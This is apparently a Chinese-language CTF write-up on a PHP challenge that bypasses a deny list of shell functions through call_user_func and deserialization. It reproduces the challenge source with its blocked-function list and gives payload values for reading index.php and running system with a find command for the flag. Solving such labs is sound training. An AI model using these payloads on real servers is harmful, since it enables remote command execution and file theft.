知识点
-
读取文件的方法
readfile,file_get_contents,highlight_file
-
call_user_func()
第一个参数 callbac 是被调用的回调函数,其余参数是回调函数的参数
- 序列化
题解:
由于页面不断刷新,所以抓包分析下
post传入了参数data和一串类似日期格式的东西
合理推测是使用了call_user_func()
函数,并将date()作为回调函数,由此输出了上面红色框部分
func=readfile&p=index.php
读取index.php源码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
发现过滤了绝大多数的命令,也确实是调用了 gettime()里面的call_user_func($func, $p);
函数。注意Test的魔术方法__destruct()
中也调用了gettime(),意味着我们可以尝试序列化然后url编码绕过过滤,并且在反序列化回来时,调用gettime()里面的call_user_func($func, $p);
从而达到命令执行目的。
首先func=unserialize
,再次注意Test
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
达到命令执行目的的话,func要设为我们需要调用system等webshell,p设置成要执行的命令,例如$func =system, $p=find / -name 'flag*'
找到了flag所在的文件,直接读取即可